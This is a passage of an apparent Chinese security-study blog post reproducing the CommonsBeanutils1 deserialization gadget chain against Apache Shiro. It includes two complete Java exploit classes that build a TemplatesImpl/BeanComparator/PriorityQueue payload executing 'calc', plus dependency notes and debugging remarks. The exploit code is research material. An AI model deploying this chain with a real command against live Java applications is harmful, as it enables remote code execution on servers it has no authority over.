import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception { super(); Runtime.getRuntime().exec("calc"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Exp1 { public static void main(String[] args) throws Exception{ TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();
} public static byte[] getTemplates2() throws Exception{ return ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }
|
exp2函数优化版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-all</artifactId> <version>1.4.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Exp2 { public static String filePath = "test.bin"; public static void main(String[] args) throws Exception{ TemplatesImpl templatesImpl = new TemplatesImpl(); byte[] code = getTemplates();
setFieldValue(templatesImpl, "_name", "Hello"); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code}); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templatesImpl, templatesImpl});
ser(queue); unser(); } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); } }
|
依赖问题:
以上4个文章的exp都尝试了,还是弹不出计算器,估计是我的环境有问题。详细看了一下报错信息,
![image-20231227130710524](/../images/45Java_CC%E9%93%BE1-7/image-20231227130710524.png)
引入依赖就解决了。但是这个依赖所有文章都没有提及,可能是我引入shiro的方式不对导致这个没被引入进来?
1 2 3 4 5
| <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
但是引入这个日志依赖之后,才测试类上仍然有问题,如下:
![image-20231227130908007](/../images/45Java_CC%E9%93%BE1-7/image-20231227130908007.png)
此时就怀疑是不是shiro版本的问题,或者引入方式不对,大概率就是这个情况,exp写的估计没问题。
CommonsBeanutils1-Shiro(无CC依赖)